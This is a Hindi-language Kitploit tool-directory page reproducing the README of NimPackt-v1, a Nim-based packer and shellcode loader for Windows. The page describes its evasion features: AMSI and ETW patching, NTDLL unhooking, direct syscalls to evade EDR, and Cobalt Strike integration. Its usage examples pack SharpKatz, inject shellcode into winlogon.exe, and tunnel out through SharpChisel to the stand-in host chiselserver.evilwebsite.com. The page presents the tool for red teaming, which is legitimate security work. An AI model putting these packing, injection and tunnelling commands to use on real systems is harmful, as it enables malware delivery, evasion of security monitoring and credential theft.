Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
NimPackt-v1 — Nim-आधारित असेंबली पैकर और शेलकोड लोडर opsec और लाभ के लिए | Kitploit
उपकरण/GitHubGitHub/chvancooten/nimpackt-v1
शोषण फ्रेमवर्कपेलोड जनरेशनशेलकोडपेनिट्रेशन टेस्टिंगरेड टीमिंगबाइनरी शोषण
GitHubchvancooten/nimpackt-v1

NimPackt-v1

Nim-आधारित असेंबली पैकर और शेलकोड लोडर opsec और लाभ के लिए

रिपॉजिटरी देखें
487763 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

NimPackt

.NET निष्पादनयोग्य और रॉ शेलकोड के लिए Nim-आधारित पैकर

द्वारा Cas van Cooten (@chvancooten)

Marcello Salvati (@byt3bl33der) और Fabian Mosch (@S3cur3Th1sSh1t) को विशेष धन्यवाद

विवरण

अद्यतन: NimPackt-v1 मेरे द्वारा लिखित सबसे खराब कोड में से एक है (मैं Nim सीखना शुरू ही कर रहा था)। इस कारण, मैंने NimPackt का पूर्ण पुनर्लेखन शुरू किया, जिसका नाम 'NimPackt-NG' है (वर्तमान में निजी है)। इस पुनर्लेखन के साथ, मैंने पुरानी शाखा ("NimPackt-v1") को ओपन-सोर्स करने का निर्णय लिया। इस प्रकार, यह शाखा अब बनाए नहीं रखी जाती है और किसी भी प्रकार की वारंटी या समर्थन के बिना आती है। बेशक, पुल अनुरोधों का हमेशा स्वागत है :)

NimPackt Windows लक्ष्य के लिए .NET (C#) निष्पादनयोग्य और शेलकोड के लिए एक Nim-आधारित पैकर है। यह स्वचालित रूप से पेलोड को Nim बाइनरी में लपेटता है जो मूल C में संकलित होती है और इस प्रकार इसका पता लगाना और रिवर्स इंजीनियर करना कठिन होता है। दो मुख्य निष्पादन विधियाँ हैं:

  • Execute-Assembly एक .NET निष्पादनयोग्य को फिर से पैक करता है और चलाता है, वैकल्पिक रूप से API अनहुकिंग, AMSI पैचिंग, या ETW अक्षम करना जैसे चकमा देने वाले उपाय लागू करता है।
  • Shinject कच्चे, स्थिति-स्वतंत्र शेलकोड के साथ एक .bin फ़ाइल लेता है और इसे स्थानीय या दूरस्थ प्रक्रिया में निष्पादित करता है, वैकल्पिक रूप से शेलकोड को ट्रिगर करने के लिए प्रत्यक्ष सिस्कॉल का उपयोग करता है या EDR को चकमा देने के लिए API हुक को पैच करता है।

वर्तमान में, NimPackt में निम्नलिखित विशेषताएँ हैं।

  • EDR को चकमा देने के लिए निष्पादन को पैच करने के लिए स्थिर सिस्कॉल का उपयोग करता है
  • NTDLL.dll को ShellyCoat का उपयोग करके ताज़ा करके स्पॉन किए गए थ्रेड के लिए उपयोगकर्ता-मोड API को अनहुक करता है
  • Windows के लिए इवेंट ट्रेसिंग (ETW) को पैच करता है
  • एंटी-मैलवेयर स्कैन इंटरफ़ेस (AMSI) को पैच करता है
  • स्थिर विश्लेषण या फिंगरप्रिंटिंग को रोकने के लिए पेलोड को यादृच्छिक कुंजी से AES-एन्क्रिप्ट करता है
  • exe या dll में संकलित होता है
  • क्रॉस-प्लेटफ़ॉर्म संकलन (Linux और Windows दोनों से) का समर्थन करता है
  • ezpz पेलोड जनरेशन के लिए CobaltStrike के साथ एकीकृत होता है 😎

आक्रामक टूलिंग के लिए C#-आधारित बाइनरीज़ का एक बेहतरीन स्रोत यहाँ पाया जा सकता है। C# बाइनरीज़ को स्वयं संकलित करने की अत्यधिक अनुशंसा की जाती है। भले ही एम्बेडेड बाइनरीज़ एन्क्रिप्टेड हों, आपको पता लगने के जोखिम को कम करने के लिए संवेदनशील बाइनरीज़ (जैसे Mimikatz) को अस्पष्ट करना चाहिए।

स्थापना

यदि आपको Syscalls के साथ बाइनरी संकलित करने में समस्या हो रही है, तो अपने GCC को संस्करण 8.1.0 में डाउनग्रेड करने का प्रयास करें (विशेषकर Windows पर)। हमेशा उत्पन्न पेलोड का परीक्षण करें!

Linux पर, बस आवश्यक पैकेज स्थापित करें और आवश्यक पैकेज और Python लाइब्रेरी स्थापित करने के लिए Nimble पैकेज इंस्टॉलर का उपयोग करें।

root@kitploit:~
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

Windows पर, यहाँ से Nim इंस्टॉलर निष्पादित करें। mingw स्थापित करना सुनिश्चित करें और प्रदान की गई finish.exe उपयोगिता का उपयोग करके पथ मान सही ढंग से सेट करें। यदि आपके पास Python3 स्थापित नहीं है, तो इसे स्थापित करें, फिर आवश्यक पैकेज निम्नानुसार स्थापित करें।

root@kitploit:~
nimble install winim nimcrypto
pip3 install pycryptodome argparse

Docker

Docker इमेज chvancooten/nimbuild का उपयोग NimPackt-v1 बाइनरीज़ को संकलित करने के लिए किया जा सकता है। Docker का उपयोग करना आसान है और निर्भरता की समस्याओं से बचाता है, क्योंकि इस कंटेनर में सभी आवश्यक निर्भरताएँ पूर्व-स्थापित हैं।

इसका उपयोग करने के लिए, अपने OS के लिए Docker स्थापित करें और सुनिश्चित करें कि इनपुट शेलकोड वर्तमान फ़ोल्डर में है। फिर, निम्नानुसार एक कंटेनर में संकलन प्रारंभ करें।

root@kitploit:~
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin

CobaltStrike प्लगइन

CobaltStrike प्लगइन स्थापित करने के लिए, मेनू बार से Cobalt Strike -> Script Manager चुनें, और Load चुनें। सुनिश्चित करें कि .cna फ़ाइल को उसके मूल स्थान से लोड करें, अन्यथा यह NimPackt स्क्रिप्ट फ़ाइलों को खोजने में सक्षम नहीं होगा!

NimPackt

उपयोग

root@kitploit:~
usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
                   [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
                   [-d] [-v] [-V]

required arguments:
  -e EXECUTIONMODE, --executionmode EXECUTIONMODE
                        Execution mode of the packer. Supports "execute-assembly" or "shinject"
  -i INPUTFILE, --inputfile INPUTFILE
                        C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
  -a ARGUMENTS, --arguments ARGUMENTS
                        Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
                        time arguments (default)
  -na, --nopatchamsi    Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
  -ne, --nodisableetw   Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
  -r, --remote          Inject shellcode into remote process (default false)
  -t INJECTTARGET, --target INJECTTARGET
                        Remote thread targeted for remote process injection
  -E, --existing        Remote inject into existing process rather than a newly spawned one (default
                        false, implies -r) (WARNING: VOLATILE)

other arguments:
  -o OUTPUTFILE, --outfile OUTPUTFILE
                        Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
                        or path. This property will be stored in the output binary as the original
                        filename
  -nu, --nounhook       Do NOT unhook user-mode API hooks in the target process by loading a fresh
                        NTDLL.dll
  -ns, --nosyscalls     Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
                        APIs to evade EDR
  -f FILETYPE, --filetype FILETYPE
                        Filetype to compile ("exe" or "dll", default: "exe")
  -s, --sleep           Sleep for approx. 30 seconds by calculating primes
  -32, --32bit          Compile in 32-bit mode (untested)
  -S, --showConsole     Show a console window with the app's output when running
  -d, --debug           Enable debug mode (retains .nim source file in output folder)
  -v, --verbose         Print debug messages of the wrapped binary at runtime
  -V, --version         show program's version number and exit

उदाहरण:

root@kitploit:~
# SharpKatz को पैक करें ताकि रनटाइम पर तर्क स्वीकार करे, NTDLL हुक, AMSI, और ETW को पैच करे, और रनटाइम पर दृश्य कंसोल पर वर्बोज़ संदेश प्रिंट करे
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Seatbelt को एक DLL फ़ाइल के रूप में बेक-इन तर्कों के साथ पैक करें (नोट: stdout उपलब्ध नहीं है, इसलिए आउटफ़ाइल में लिखें)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# SharpChisel को बिल्ट-इन ChiselChief कनेक्शन स्ट्रिंग के साथ पैक करें, अनहुक न करें, AMSI पैच न करें, ETW अक्षम न करें, रनटाइम पर एप्लिकेशन विंडो छिपाएं
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# कच्चा शेलकोड को DLL फ़ाइल में पैक करें जो प्रत्यक्ष syscalls के माध्यम से स्थानीय थ्रेड में निष्पादित होता है, NTDLL को भी अनहुक करता है
# शेलकोड 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin' से उत्पन्न
python3 NimPackt.py -i calc.bin -e shinject -f dll

# कच्चा शेलकोड को नए स्पॉन किए गए कैलकुलेटर थ्रेड में अदृश्य विंडो में निष्पादित करने के लिए पैक करें
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# कच्चा शेलकोड को मौजूदा Winlogon प्रक्रिया में निष्पादित करने के लिए पैक करें ('winlogon.exe' नाम वाली पहली PID), प्रत्यक्ष syscalls का उपयोग न करें और NTDLL को अनहुक न करें
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns

बाइनरीज़ आपकी स्थापना निर्देशिका के output उपफ़ोल्डर में संग्रहीत होती हैं। उत्पन्न dll फ़ाइलों को निम्नानुसार निष्पादित किया जा सकता है (प्रवेश बिंदु को Nim टेम्पलेट में बदला जा सकता है):

root@kitploit:~
rundll32 exampleShinjectNimPackt.dll,IconSrv
टूल डाउनलोड करें